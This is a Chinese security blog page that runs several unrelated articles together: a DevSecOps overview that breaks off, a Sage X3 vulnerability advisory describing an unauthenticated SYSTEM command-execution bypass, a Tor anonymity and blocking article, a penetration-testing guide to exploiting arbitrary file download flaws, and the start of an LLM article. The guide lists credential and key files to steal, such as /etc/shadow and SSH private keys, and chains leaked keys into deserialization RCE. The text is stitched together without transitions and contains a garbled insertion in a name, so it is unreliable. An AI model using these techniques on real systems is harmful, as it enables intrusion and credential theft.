Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863106647

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

許多安全領導者對實施DevOps 持懷疑態度,儘管它有很多好處,包括快速軟件交付和提高代碼質量。如果您發布的軟件存在漏洞,那麼您的持續交付週期有多快都沒有關係。網絡安全是DevOps 極度缺乏的一件事。

這就是DevSecOps 發揮作用的地方——一種將安全性轉移到軟件開發生命週期(SDLC) 中的開發方法。 DevSecOps 強調在最早階段實施安全檢查的重要性。

在本文中,我們向您展示了為DevOps 增加安全性的好處、採用DevSecOps 的主要挑戰,以及使用AWS 服務實施DevSecOps 的最佳實踐。

為什麼DevOps 不安全? DevOps是工具、實踐和文化理念的結合,可讓IT 公司減少軟件開發所需的時間。這是通過打破開發、測試和運營之間的傳統障礙來實現的。 DevOps 實踐包括軟件開發過程中所有活動的自動化和監控,使公司能夠實現持續集成(CI) 和持續交付(CD)。您可以結合DevOps 和區塊鏈、人工智能、嵌入式、移動和其他類型的技術。

構建高效的CI/CD 管道可以大大加快開發活動和產品發布速度,從而為解決方案供應商節省時間和金錢。

然而,如今IT 公司實施更快、更具創新性的軟件開發方法還不夠。他們還需要牢記網絡安全。按照設計,DevOps 缺乏安全性有以下幾個原因:

image.png

DevOps 的安全挑戰

傳統上,信息安全是在軟件開發週期的最後階段處理的,結果是檢測需要在嚴格的時間限制內消除的安全漏洞。對於DevOps 方法,以傳統方式保護每個版本需要付出太多努力。

DevOps 通常通過雲優先架構和容器化來實現。這些都創造了更廣泛的攻擊面和新的潛在漏洞。

必須在每次迭代期間更新或至少檢查安全機制。然而,發布團隊有時會為了趕上交付期限而忽略這些建議。

幸運的是,我們有DevSecOps:一種左移思維,其中安全是共同的責任,因此開發人員和IT 運營專家都牢記安全要求。讓我們看看DevSecOps 與DevOps 有何不同以及它提供了哪些好處。

什麼是DevSecOps? DevSecOps在軟件開發的早期階段實施持續和自動化的安全機制,並確保整個週期的安全。安全不再是單獨部門的職能,而是團隊文化和實踐中不可或缺的一部分。

將安全性集成到您的DevOps 團隊可幫助您的公司實現以下優勢:

image.png

應用DevSecOps 方法的好處

DevSecOps 使您可以將更多時間用於增加客戶價值,而將更少的時間和金錢用於修復在交付過程後期或產品使用過程中發現的漏洞。但左移並非沒有局限性。讓我們來看看您可能遇到的主要挑戰。

實施DevSecOps 的挑戰將安全性集成到DevOps 中需要一些組織顯著轉變其工作流程。這不僅會影響網絡安全系統,還會影響組織和業務流程。這樣的變化總會帶來無數的挑戰,最好提前做好準備。讓我們探討四大挑戰。

image.png

實施DevSecOps 的4 大挑戰

1.改變既定的企業文化組織遇到的最常見問題是採用DevSecOps 所需的文化變革。一直使用傳統或敏捷開發方法的人通常難以適應完全不同的方法。

當轉向DevSecOps 時,您的團隊必須學習很多關於網絡安全的知識,對工作問題變得更加開放,並將安全實踐作為他們日常工作的一部分。許多組織低估了這些變化的挑戰性,因此未能充分實施DevSecOps。在向DevSecOps 過渡期間,確保為您的團隊提供足夠的知識、支持和領導。

2. 結合敏捷和DevSecOps另一個問題是一些組織試圖用DevSecOps 完全替代敏捷工作流。當這種嘗試失敗時,他們決定DevSecOps 不適合他們。這裡真正的挑戰是以最有效的方式為您的組織結合敏捷和DevSecOps。

DevSecOps 可以補充敏捷。雖然敏捷在開發過程中引入了協作、迭代和持續反饋,但DevSecOps 可以加強QA 和交付過程,同時確保您的代碼始終安全。

3.遵守政府規定對於必須遵守嚴格網絡安全要求的行業組織而言,實施DevSecOps 更加困難:醫療保健、製造、金融服務等。這些行業的法規不夠靈活,無法讓公司全面引入DevSecOps 實踐。

這就是組織通常必須將靈活且安全的DevOps 與傳統開發方法相結合的原因。美國食品和藥物管理局等一些政府機構確實允許公司以他們想要的任何方式改變他們的開發實踐,前提是他們能夠確保高水平的安全性並重新認證他們的工作流程。

4. 集成傳統、DevOps 和DevSecOps 工具採用DevSecOps 也存在技術挑戰。將防病毒軟件和防火牆、DevOps 和DevSecOps 工具等傳統安全工具集成到一個系統中需要對組織的基礎架構進行重大更改。 CI/CD 管道、二進制庫、靜態應用程序安全測試、軟件組成分析和許多其他工具通常來自不同的供應商,但您需要讓它們協同工作。

克服這一挑戰的最佳方法是全面規劃DevSecOps 工具的實施,並逐一部署您選擇的工具。一次部署和配置它們更快,看起來更方便,但實際上它會造成混亂,並導致安全漏洞。

研究這些挑戰並規劃解決這些挑戰的方法是順利實施DevSecOps 的關鍵。現在,我們可以看看必須具備的安全實踐和機制,以確保您的DevOps 流程是安全的。下一節我們主要講述將安全性集成到DevOps 中的最佳實踐。

Sage的主要服務對像是大中型企業,在全球大概有600萬客戶。 Sage在英文中是英明睿智的意思,致力於為企業提供全線管理軟件解決方案。 Sage ERP X3是一套完全集成的管理解決方案,在易用性方面做了很大的改進,幫助企業快速享受到IT帶來的諸多利益。

Rapid7 研究人員Jonathan Peterson、Cale Black、Aaron Herndon、Ryan Villarreal 和William Vu 發現了四個涉及Sage X3 的漏洞。這些漏洞根據Rapid7 的常規漏洞披露流程報告給Sage,並在Sage X3 第9 版(Syracuse 9.22.7.2 隨附的那些組件)、Sage X3 HR 和Payroll 版本9(Syracuse 隨附的那些組件)的最新版本中修復9.24.1.3、Sage X3 版本11 (Syracuse v11.25.2.6) 和Sage X3 版本12 (Syracuse v12.10.2.8)。請注意,Sage X3 沒有商業可用的第10 版。

這些漏洞如下表所示:前兩個是涉及Sage X3遠程管理的協議相關漏洞,後兩個是Web應用程序漏洞。一般來說,Sage X3 安裝不應直接暴露在互聯網上,而應在需要時通過安全的VPN 連接提供。遵循此操作建議可有效緩解所有四個漏洞,但仍敦促客戶根據其通常的補丁週期時間表進行更新。

1.png

產品描述Sage X3 是一個企業資源計劃(ERP) 應用程序,主要用於大中型企業的供應鏈管理。該產品在英國和其他歐洲市場特別受歡迎。有關Sage X3 的更多信息,請訪問其官網。

這些漏洞是由Rapid7 研究人員Jonathan Peterson (@deadjakk)、Aaron Herndon (@ac3lives )、Cale Black、Ryan Villarreal (@XjCrazy09) 和William Vu 發現的。它們是根據Rapid7 的漏洞披露政策披露的。

CVE-2020-7390 之前由Cobalt Labs 的 Vivek Srivastav 於2021 年1 月向供應商報告。

漏洞利用對於每一個確定的漏洞,下面是對漏洞和利用它的技術的簡要描述。

CVE-2020-7388:Sage X3 未經身份驗證的遠程命令執行(RCE) 作為AdxDSrv.exe 組件中的SYSTEM

Sage X3 在AdxAdmin 組件的進程“AdxDSrv.exe”下的端口TCP/1818(默認值,但可更改)上公開管理服務。該服務用於通過Sage X3 控制台遠程管理Sage ERP 解決方案。服務中的漏洞允許惡意攻擊者向暴露的服務發出請求,以“NT AUTHORITY/SYSTEM”用戶身份在服務器上執行命令。

AdxDSrv.exe認證和執行過程Sage X3 使用自定義協議在Sage X3 控制台客戶端和AdxDSrv.exe 之間進行交互。查看協議,Sage X3 控制台使用字節序列製作一個請求以進行身份驗證,如下所示:

2.png

Sage X3 使用自定義的加密機制對密碼進行加密,但為簡潔起見,這裡不再贅述加密方式。示例消息如下所示,向用戶“admin”發送密碼“password”:

3.png

AdxDSrv.exe發送4個字節表示驗證成功,這些字節總是以\x00\x00 為前綴,然後是兩個明顯隨機的字節,如下所示:

4.png

收到這個成功的認證響應後,可以發送消息執行遠程命令。首先,臨時目錄由客戶端以要寫入服務器的“cmd”文件的名稱指定。

具有提供的“cmd”文件名的批處理文件被寫入磁盤,其中包含“whoami”命令。

在AdxDSrv.exe 服務將臨時批處理文件寫入指定文件夾後,它將通過Windows API調用CreateProcessAsUserAs,在提供的用戶憑證的安全上下文中執行該文件。這可以在Windows 事件日誌中作為使用“CreateProcess(AsUser)”的Windows 事件登錄被觀察到。最終導致將命令寫入文件、執行然後讀取輸出的消息序列。

在AdxSrv.exe中調用CreateProcessAsUserA的代碼片段,AdxSrv.exe是一個從AdxDSrv.exe產生的線程。

在沒有有效身份驗證的情況下執行,作為NT AUTHORITY\SYSTEM發送要執行的命令需要兩個組件。首先要知道AdxAdmin服務的安裝目錄,這樣我們就可以向服務提供要寫入的完整路徑位置,以便將要執行的“.cmd”文件寫入其中。第二個組件是“授權序列”,如上所示,它包括發送一個用戶名和密碼,該用戶名和密碼是用AdxDSrv.exe服務使用的加密協議加密的,以便通過Windows API調用CreateProcessAsUserA來執行.cmd文件。

獲取安裝目錄可以通過事先的知識、有根據的猜測,或者通過以下CVE-2020-7387所述的未經身份驗證的遠程信息洩露漏洞來完成。

第二步可以通過重新創建AdxDSrv.exe 身份驗證和命令協議的一系列數據包來迴避,但有一個關鍵修改:攻擊者可以簡單地交換一個字節並導致服務忽略提供的用戶憑據,而是在當前AdxDSrv.exe進程安全上下文下執行,該進程安全上下文作為NT AUTHORITY\SYSTEM運行。一些模糊測試表明,在授權序列開始期間使用“0x06”而不是“0x6a”允許序列繼續,並允許命令作為NT AUTHORITY\SYSTEM帳戶運行。

換句話說,客戶端似乎能夠完全退出身份驗證。在這種模式下,請求的命令以SYSTEM 身份執行,而不是模擬提供的用戶帳戶。

在一個實際的概念證明漏洞,它發送了整個序列來執行“whoami”,而沒有像之前要求的那樣提供加密的用戶憑證。

該漏洞在AdxAdmin 93.2.53版本中被修復,該版本在X3 V9、V11 和V12 中很常見,並分別隨Syracuse 9.22.7.2、11.25.2.6 和12.10.2.8 提供。

CVE-2020-7387:Sage X3 安裝路徑名洩露在對CVE-2020-7388 中描述的AdxAdmin.exe 使用的身份驗證和命令協議進行模糊測試時,發現發送第一個字節為“0x09”而不是“0x6a”,尾隨三個空字節,返回的安裝目錄時不需要任何身份驗證。

比如正在發送的消息示例,以及來自服務器的包含目錄路徑信息的響應。

當涉及到大多數企業軟件時,安裝路徑名稱往往是相當可預測的,幾乎所有用戶都安裝到少數幾個驅動器號中的一個默認目錄中,這個漏洞確實為攻擊者提供了利用上述CVE-2020-7388所需的信息。

CVE-2020-7389:系統鏈變量腳本命令注入一些允許使用'System' 函數的Web 應用程序腳本可以與“CHAINE”變量配對,以執行任意命令,包括來自遠程SMB 共享的命令。 該頁面可以通過菜單提示Development - Script dictionary - Scripts 到達。 根據供應商的說法,此功能應僅在開發環境中可用,而不是在生產環境中可用。

漏洞命令模式為:

21.png

演示過程如下所示:

22.png

下面的屏幕截圖演示了一個提供“a.bat”的Impacket SMB 服務器,該服務器又調用“b.exe”,並嘗試連接和評估在CHAINE 變量中指定的有效負載:

23.png

CVE-2020-7390:用戶配置文件的“編輯”頁面上存儲的XSS 漏洞“Edit User”頁面中的“First name”、“Last name”和“Email”字段容易受到存儲的XSS序列的影響。示例XSS 字符串如下圖所示:

5.png

XSS 字符串在`mouseOver` Javascript 上執行的事件如下圖所示:

6.png

威脅影響結合CVE-2020-7387和CVE-2020-7388,攻擊者可以首先了解受影響軟件的安裝路徑,然後利用該信息將命令傳遞給在system上下文中運行的主機系統。這可以讓攻擊者運行任意操作系統命令來創建管理員級別的用戶,安裝惡意軟件,或者出於任何目的完全控制系統。

CVE-2020-7389 描述了一種顛覆Sage X3 開發環境的機制,並最終以“x3run”用戶身份運行操作系統命令。但是,此功能a) 僅限於Sage X3 的經過身份驗證的用戶,並且b) 不應在運行環境中公開。

最後,CVE-2020-7390 描述了一個持久的跨站點腳本漏洞,該漏洞只能由經過身份驗證的用戶觸發,並且需要用戶交互才能完成攻擊。但是,如果成功,此漏洞可能允許Sage X3 的普通用戶以當前登錄的管理員身份執行特權功能,或捕獲管理員會話cookie 以供以後冒充為當前登錄的管理員。請注意,與其他漏洞不同,此漏洞僅存在於Sage X3 的未修補版本12 實例中(而不是版本9 或版本10)。

供應商聲明Sage 非常重視其客戶解決方案的安全性,並定期對其產品進行主動測試,以識別潛在漏洞並提供修復。供應商非常感謝Rapid7, Sage 及其合作夥伴已針對該漏洞發布了修復程序,聯繫了所有適用的客戶並就後續流程向他們提供了安全建議。

緩解方案Sage X3 第9 版、第11 版和第12 版的最新本地版本解決了這些漏洞,並敦促Sage X3 的用戶儘早更新其Sage 基礎架構。如果無法立即應用更新,客戶應考慮採取以下補救措施:

1.對於CVE-2020-7388 和CVE-2020-7387,不要將任何運行Sage X3 的主機上的AdxDSrv.exe TCP 端口暴露給網絡或其他不受信任的網絡。作為進一步的預防措施,應在運行過程中完全停止adxadmin 服務。

2.對於CVE-2020-7389,一般來說,用戶不應將此webapp 接口暴露給網絡或其他不受信任的網絡。此外,Sage X3 的用戶應確保開發功能在運行環境中不可用。

3.如果由於業務關鍵功能而導致網絡分段無法執行,則只有對主機Sage X3進行系統管理的受信任的用戶才應該被授予登錄訪問web應用程序的權限。

下圖可以幫我們了解Tor匿名過程。

首先,我們假設使用者已經構建了一個Tor路徑,這意味著計算機已經選擇了三個Tor節點(運行Tor軟件的服務器)來中繼消息並獲得了每個節點的共享密鑰。

2.png

計算機首先對私有數據進行三層加密(上圖中的步驟1),這也是洋蔥名稱的由來。之後,使用者的計算機以相反的順序加密數據:首先使用最後一個退出節點的密鑰(Kn3),然後使用中間中繼節點的密鑰(Kn2),最後使用保護節點的密鑰(Kn1)。保護節點接收到數據後,使用Kn1 去除最外層的加密,並將解密的消息發送到中繼節點。中間節點使用Kn2 刪除下一層,並將其中繼到退出節點。最後,退出節點使用Kn3 解密消息並將原始數據發送到Web 服務器(在本例中是peel-the-orange[.]com)。分層加密實現了保密性,並限制了參與通信的人員,因為只有知道密鑰的節點才能解密消息。

3.png

上圖匯總了哪些節點知道哪些其他節點。守衛節點(guard node)知道使用者是誰以及下一個接收使用者消息的節點,即中間中繼節點。但是,守衛節點不知道最後的退出節點和使用者的最終目標地,因為只用Kn1解密,此時入口節點的消息仍然是亂碼。中繼節點知道的最少。它不知道誰是原始發送者或最終目標地,只知道入口和退出節點。退出節點知道中間中繼節點和目標服務器,而目標服務器只知道退出節點。

返回使用者的消息以類似的方式傳回,每個節點使用與使用者共享的密鑰添加一層加密。

4.png

上圖是全球Tor網絡中,使用者和監控者的示意圖。 Emilia代表使用者,Lemonheads代表監控者。當使用者使用Tor時,監控者只能觀察到使用者與入口節點的連接。即使他們對所傳遞的消息有完全的全局可見性,他們也很難跟踪使用者的消息,因為它們混入了所有Tor用戶的流量,而且每次消息傳遞到另一個節點時,加密層都會發生變化。如前所述,如果使用者使用單一的VPN 提供商,它將知道使用者訪問的網站。此外,監控者可以觀察來自VPN 服務器的傳入和傳出消息,並可能確定使用者正在訪問哪些網站。

一個奇怪的問題是:使用者如何在不暴露身份的情況下與Tor節點共享密鑰?要解決這個問題需要分兩步。

首先,兩個節點如何在任何人都可以讀取所有通信的公共網絡上合作創建一個只有他們知道的密鑰?答案是Diffie-Hellman key Exchange (DHE) 協議。首先,雙方需要各自生成他們自己的私有秘密,並將其組合成只有他們兩個人可以計算的共享秘密(Kn1。在實際應用中,基於橢圓密碼學的認證ECDHE來解決vanilla DHE 的問題。

此時,使用者可以訪問每個Tor節點,並分別與它們建立一個密鑰,但這會讓每個節點都知道使用者的身份。問題的第二部分是使用DHE建立密鑰。使用者的計算機並沒有直接與所有三個節點通信,而是在與入口節點建立密鑰後,用Kn1 對所有消息進行加密,並通過入口節點將消息發送到中繼節點。這意味著中繼節點只知道入口節點而不知道使用者。同樣,使用者的計算機用Kn2 和Kn1 加密DHE 消息,並將它們通過守衛節點和中繼節點發送到退出節點。

不幸的是,在使用者了解Tor並開始使用它之後,監控者開始審查與公開宣傳的Tor節點IP 的連接。為了安全,開發者開始運行秘密的Tor網橋(私下替換公開宣傳的入口節點),並一次只向少數用戶提供小批量的服務。

對使用者來說,更糟糕的是,研究人員發現他們可以通過掃描整個IPv4空間來發現Tor網橋。

總之,對於使用者來說,這是一場持續的貓捉老鼠遊戲。

Tor 的惡意和良性示例使用Tor的用戶可以可能是壞人也可能是好人。不管怎樣,人們可能會使用Tor訪問受地理限制的內容或規避政府的審查或機構的內容封鎖。例如,如果Tor流量沒有被阻止,高級URL過濾的客戶無法阻止使用Tor的員工規避基於分類的過濾。

Tor 還以其洋蔥服務而聞名。例如,Tor 有助於隱藏多個舉報人網站,用戶可以在這些網站上舉報其組織中的非法和不道德活動,而不必擔心遭到報復。洋蔥服務通過允許用戶僅使用Tor進行連接來保護其IP 地址的秘密。這個想法是,用戶和洋蔥服務都通過Tor連接,它們在中間的一個集合點(一個Tor節點)相遇。雖然這些洋蔥服務的目的不一定是為了使非法活動成為可能,但過去的研究發現,Tor用戶建立了很大一部分或大部分用於非法目的的隱藏服務。然而,只有6.7% 的Tor用戶連接到隱藏服務。與洋蔥服務相比,絕大多數用戶訪問不太可能是非法的那些網站。例如,超過100 萬人使用Tor查看Facebook 的隱藏服務,該服務允許來自政府審查的地區的訪問。

攻擊者也可以利用Tor進行他們的活動。攻擊通常從偵察開始,攻擊者探索目標的基礎設施並蒐索潛在漏洞,例如,通過掃描開放的端口和運行的服務。通過使用Tor,攻擊者可以隱藏他們的位置,並將他們的活動分佈到多個退出節點。

同樣,攻擊者可以使用Tor進行攻擊的後續步驟,例如利用偵察期間發現的漏洞、更新目標設備上的惡意代碼、命令和控制通信以及數據洩露。 Tor的其他惡意用途包括DoS 攻擊、虛假帳戶創建、垃圾郵件和網絡釣魚。

攻擊者以各種方式利用Tor進行勒索軟件攻擊。在Ryuk 和Egregor 勒索軟件的示例中,名為SystemBC 的初始遠程訪問木馬(RAT)使用Tor隱藏服務作為命令和控制通信的後門。在構建木馬攻擊時,使用Tor隱藏服務進行命令和控制非常有用,因為這使得命令和控制難以取消並保持其可訪問性,除非使用各種安全產品阻止與Tor的連接。 Gold Waterfall 攻擊組織在安裝DarkSide 勒索軟件時也使用Tor進行後門通信。 Tor隱藏的基於服務的洩漏網站也被用來託管與DarkSide 和Ranzy locker相關的被盜數據。此外,DoppelPaymer還利用Tor支付網站收取贖金。 Unit 42 最近發表了關於Cuba勒索軟件和BlueSky Ransomware勒索軟件的研究,前者使用基於Tor隱藏服務的洩漏網站,後者發送勒索通知,指示目標下載Tor瀏覽器,作為獲取文件訪問權的一部分。

Tor 的使用並不特定於針對服務器和個人計算機的惡意軟件。一種Android惡意軟件還使用Tor隱藏服務作為命令和控制服務器,使攻擊變得困難。

此外,研究人員發現Tor被用來發送各種惡意垃圾郵件,通常以評論和約會垃圾郵件的形式出現。研究人員還發現,通過Tor發送的電子郵件可能包含嚴重的威脅,包括AgentTesla RAT 的傳播、以Adobe 為主題的網絡釣魚電子郵件和Covid-19 貸款詐騙。

使用Tor的攻擊者是如何被抓住的?雖然Tor提供了比許多其他解決方案更好的匿名性,但它並不完美。

2013 年,一名哈佛學生試圖通過發送炸彈攻擊來逃避他的期末考試。他通過Tor連接到一個匿名電子郵件提供商以隱藏他的身份。然後他使用這個電子郵件提供商發送炸彈攻擊。雖然他正確使用了Tor,但當他從哈佛的wifi 網絡連接到Tor時,他犯了一個大錯誤。該生的錯誤是Tor只隱藏了使用者所做的事情,而不隱藏使用Tor的事實。學校管理者從電子郵件的標題中發現有人使用Tor發送電子郵件。他們從那個位置檢查了網絡日誌,看看是否有學生在學校收到郵件的時間內連接到Tor。

臭名昭著的洋蔥服務“絲綢之路”(Silk Road)的創始人羅斯马云惹不起马云烏布里希(Ross Ulbricht)也正確使用了洋蔥網絡,但他在操作上犯了另一個錯誤,導致他被捕。絲綢之路是當時最著名的暗網市場,賣家提供毒品、假鈔、偽造身份證件和槍支等商品。美國聯邦調查局(FBI)發現,早些時候,有人用“薄荷糖”(Altoid)這個筆名四處推銷絲綢之路。 8個月後,Ulbricht用這個筆名發布了招聘廣告,聯繫人是rossulbricht@gmail[.]com ,以聘請一名IT 專家,來幫助“一家由風投支持的比特幣創業公司”。據報導,聯邦調查局隨後能夠訪問Ulbricht使用的VPN 服務器的日誌和谷歌訪問他的Gmail 地址的日誌。這兩項記錄都指向了舊金山的一家網吧,並導致了他的被捕。

攻擊者可以通過其他方法對Tor用戶進行去匿名化,例如,通過使用JavaScript 或設置非法Tor節點(現在可能正在現實世界中發生)。關鍵是,雖然Tor確實提供了一定程度的匿名性,但用戶可以通過操作錯誤洩露他們的身份,或者如果追查者確定並擁有資源,他們可以被識別。

如何阻止攻擊者利用Tor 5.png

如何使用不同的方法來阻止攻擊者利用Tor。標記為Part 1* 和2* 的單元格表示需要同時使用這兩種解決方案來保護企業。

要阻止進出Tor網絡的流量,我們可以阻止公開發布的TorIP,或者識別和阻止Tor應用程序流量。上圖總結了每種阻止機制的示例。首先,我們可以使用已知退出節點IP 列表來阻止來自Tor的攻擊,例如偵察、利用、命令和控制通信、數據洩露和DoS 攻擊。使用已知保護節點IP 列表,我們可以阻止我們的用戶及其設備向Tor發送流量,並防止數據洩露、命令和控制通信、規避地理限制和內容阻止以及訪問.onion 網站。

由於Tor網橋節點列表未知,基於保護節點IP 的阻止只是部分解決方案。相反,我們可以使用Palo Alto Networks 流量分類系統App-ID 直接檢測和阻止Tor流量。除了使用可用的保護和橋接節點IP,App-ID 還會查看連接的特徵,例如使用的密碼套件或數據包的大小來識別Tor流量。

此外,攻擊者可以從Tor網絡或受感染的設備發起數據洩露以及命令和控制通信。因此,要阻止這些攻擊,最好同時使用基於退出IP 和基於流量分析的阻止。

Palo Alto Networks 收集所有公開宣傳的Tor退出IP,並利用它們建立一個電路來測試它們是否有效。已知且有效的Tor退出列表構成了Palo Alto Networks 預定義的Tor退出IP 外部動態列表。

使用Tor退出IP 外部動態列表和App-ID,研究人員觀察到企業使用Tor很常見,因為我們在一個月內確定了204 個客戶網絡中691 台設備上的6617473 個會話。

除了阻止Tor流量外,企業還可以利用Cortex XDR 等端點保護來覆蓋基於Tor的攻擊。 Cortex XDR 基於用戶和實體行為分析(UEBA)、端點檢測和響應(EDR)、網絡檢測和響應(NDR) 以及雲審計日誌來檢測以下活動:

與Tor中繼服務器的可能網絡連接;

來自Tor的成功VPN 連接;

從Tor成功登錄;

來自Tor退出節點的可疑API 調用;

來自Tor的SSO 成功登錄。

總結Tor 為其用戶提供匿名性,不過匿名性經常被不法分子利用,一方面,Tor 可以幫助人們改善隱私和保護舉報人。另一方面,Tor 可用於各種惡意活動,包括匿名偵察、數據盜竊、逃避地理限制、規避內容阻止以及在暗網上運行非法市場。

由於網絡犯罪分子經常將Tor用於惡意目標,因此建議在企業環境中禁止使用Tor。根據調查,企業使用Tor很常見,研究人員在一個月內發現了204 個客戶網絡上的691 台設備的6617473 個會話。

6.png

Palo Alto Networks 提供了兩種用於阻止Tor流量的解決方案,作為攻擊預防的一部分,最好一起使用。他們向客戶提供經過驗證的內置Tor退出IP 外部動態列表,他們可以使用該列表來阻止與Tor退出節點的連接。此外,可以使用Palo Alto Networks 流量分類系統App-ID 阻止企業網絡中的Tor流量。此外,客戶可以利用Cortex XDR 來提醒和響應端點設備、網絡或云中的Tor相關活動。

0x01 前言任意文件下載漏洞作為最常見的WEB漏洞之一,在平常的滲透測試中經常遇到,但是很多人卻並沒有深入去想該如何利用這種漏洞,導致忽略了一些細節的信息。

0x02傳統利用1) 下載配置文件連數據庫通過任意文件下載漏洞下載網站配置文件,利用數據庫配置信息遠程連接數據庫。

php:通過讀取當前頁面源碼反向查找數據庫配置文件

aspx:Web.config

java:WEB-INF/web.xml、WEB-INF/classes/applicationContext.xml 、application.yml、application.properties、conf/tomcat-users.xml

其它配置:php.ini、my.ini、MetaBase.xml、access.log

2) 下載操作系統敏感文件通過下載操作系統中的文件獲取敏感信息,不同操作系統中的敏感文件包括

Windows:

C:\Windows\win.ini

C:\Windows\System32\drivers\etc\hostsC:\ProgramData\Microsoft\Search\Data\Applications\Windows\GatherLogs\SystemIndex\SystemIndex.{%d}.gthr其中%d替換為1-500的數字,文件中保存大量應用對應的臨時文件路徑,可以洩露敏感信息,有時有奇效C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt其中Administrator可以替換為其它系統用戶名,文件中保存Powershell歷史執行命令記錄

Linux:

/etc/passwd

/etc/shadow

/etc/profile

/etc/hosts

/etc/issue

/etc/ssh/sshd_config

/root/.bash_history歷史命令

/root/.ssh/authorized_keys

ssh公鑰/root/.ssh/id_rsa

ssh私鑰/root/.mysql_history

/proc/net/arp

內網arp表信息

/proc/net/route

內網路由表信息

/proc/net/tcp

主機建立的tcp連接信息,類似於netstat

/proc/[PID]/cmdline

其中pid替換為進程號,返回當進程運行時的命令

/proc/[PID]/environ其中pid替換為進程號,返回當進程運行時的環境變量信息

/proc/self/loginuid當前用戶

/proc/sched_debug獲取當前進程信息0x03 進階利用1)SpringBoot環境下的任意文件利用SpringBoot一般來說是通過jar包來啟動服務,如圖3.1所示,所以通過任意文件下載漏洞最有利用價值的是下載到SpringBoot對應的jar包。

QQ截图20231225110711.png

這裡可以組合linux文件下載中的多個文件,構造一條SpringBoot任意文件下載利用鏈,如下所示。

【Step1】

從圖3.1可以看出SpringBoot一般是通過java命令來啟動的,所以可以通過java關鍵字來定位對應的pid進程號。

通過任意文件讀取/proc/sched_debug,獲取服務器中的進程信息。通過關鍵字java定位SpringBoot對應的進程,獲取進程號pid,如圖3.2所示。

QQ截图20231225110851.png

【Step2】

通過/proc/[PID]/cmdline和/proc/[PID]/environ獲取進程對應的信息,一般情況下通過這種方式可以拿到SpringBoot對應的jar包的絕對路徑,如圖3.3,圖3.4所示。其中cmdline可以獲取進程對應的包名,environ可以獲取對應的絕對路徑,組合之後可以得到jar包對應絕對路徑,如圖3.5所示。

QQ截图20231225110949.png

通過組合/proc/sched_debug和/proc/[PID]/environ可以滿足絕大部分場景下對目標進程信息的探索。

2)SpringMVC環境下的任意文件利用由於java程序並不能像PHP那樣通過讀當前文件來一步步下載整個程序的源碼做代碼審計,SpringMVC環境下一般的代碼處理邏輯都在controller類中,但是我們仍然可以通過任意文件下載漏洞來下載對應的源碼。

【Step1】

通過下載WEB-INF/web.xml文件,查看其中的servlet-class標籤,有針對性下載標籤對應的類名,如圖3.6所示。

QQ截图20231225111038.png【Step2】

基於拿到的類的全限定類名,下載對應的class文件。如圖3.6所示,拿到類的全限定類名是com.js.oa.jsflow.action.WorkFlowPdfServlet,則對應的class文件相對路徑為classes/com/js/oa/jsflow/action/WorkFlowPdfServlet.class,如圖3.7所示。

QQ截图20231225111111.png

除了web.xml中可以找到類的全限定類名,在任何一個.class文件中,均可以找到這種類似的全限定類名。通過這種方式遍歷可以較完整的拿到整個SpringMVC的源碼,對於其它tomcat servlet項目也是一樣的思路。

需要說明的是,並不是所有的tomcat項目的controller源碼都能在WEB-INF/classes/目錄下找到,還有部分系統會把邏輯代碼寫到jar包中並放在WEB-INF/lib/目錄下,如圖3.8所示,某系統在classes目錄下不存在任何class文件,所有的邏輯均在WEB-INF/*.jar包中。如果代碼邏輯在jar包中,就需要猜測jar包的完整名稱,這種情況下通常不容易通過黑盒方式下載到源代碼。

QQ截图20231225111145.png0x04 深度利用在上面的方式中,還是偏向於通過任意文件下載下載網站源代碼進行源碼分析,但是在某些框架中,可以通過源碼下載漏洞構造反序列化利用鏈,達到RCE的效果。

CodeIgniter框架是一個非常流行的php框架,在中小WEB應用中具有較大的使用量。舊版本的CodeIgniter默認情況下CodeIgniter的session保存在Cookie中,並且通過反序列的方式來加載。

我下載的CodeIgniter的源碼是以前下載的,可能和最新的代碼稍有出入。在system/libraries/Session.php文件中,如圖4.1所示。

QQ截图20231225111249.png

其中保證Cookie不被篡改的關鍵是通過hash_hmac方法計算Cookie最後40位的hash值,其中$this-encryption_key是CodeIngniter框架配置文件中的值,保存在application/config/config.php文件中,這個值沒有默認值,並且不能為空,如圖4.2所示。

QQ截图20231225111316.png

如果存在任意文件下載漏洞,下載對應的application/config/config.php文件,則可以獲取Cookie加密的key,這樣就可以把任意文件下載漏洞轉化為反序列化漏洞。

在CodeIgniter框架中,如果Cookie中包含了序列化的內容,如圖4.3所示,則代表可以通過任意文件讀取獲取加密key來構造反序列化過程,結合框架本身的反序列化利用鏈,則可能造成反序列化漏洞。

QQ截图20231225111349.png基於框架的Cookie反序列化漏洞在實際中非常普遍,其它還有很多框架也有類似的問題,Yii框架也有類似於CodeIgniter一樣的邏輯,在之前一篇關於通達OA的反序列化漏洞的文章https://mp.weixin.qq.com/s/nOQuqt_mO0glY-KALc1Xiw中,介紹過關於Yii硬編碼key導致的反序列化漏洞。同樣如果存在任意文件下載漏洞,則可以讀取對應的key構造反序列化利用鏈。

如果是aspx的目標網站,同樣可以通過任意文件下載,獲取Web.config中關於ViewState參數的加密密鑰,ViewState參數經過解密之後會進行反序列化操作,造成.net的反序列化漏洞,詳情可以參考文章

https://paper.seebug.org/1386/。0x05 總結在滲透測試的過程中,如果遇到任意文件下載漏洞,多數場景下都可以對任意文件下載漏洞進行深入利用。本文主要結合一些特定的目標場景,總結一些關於任意文件下載漏洞的利用思路,本文僅做學習研究,請勿進行非法的網絡攻擊活動。

來源:烽火台實驗室

人工智能領域的最新進展導致了大語言模型(LLM)問世,包括GPT-3、PaLM、GPT-4和LLAMA。這些模型可以生成易於理解的文本段落、回答詳細的問題、解決複雜的問題、編寫代碼以及處理其他各種自然語言任務。

LLM徹底改變了自然語言處理(NLP)任務,改變了用戶與語言進行交互的方式,最終通過改進後的聊天機器人、虛擬助手、內容生成、搜索引擎和語言學習平台,影響了人們的日常生活。

雖然不可否認LLM進步巨大,有助於日常使用,但在網絡安全領域,它已成為一把雙刃劍,無意中為網絡犯罪分子開創了黃金時代。 LLM允許攻擊者更高效更頻繁地進行一系列攻擊(包括魚叉式網絡釣魚和商業電子郵件入侵等社會工程伎倆),因為它能夠立即生成數千條獨特的明文攻擊消息。好消息是,LLM並非沒有缺陷,尤其在用於生成攻擊時。

我們在本文中將探討防御者如何利用LLM對抗由同樣的LLM生成的攻擊。

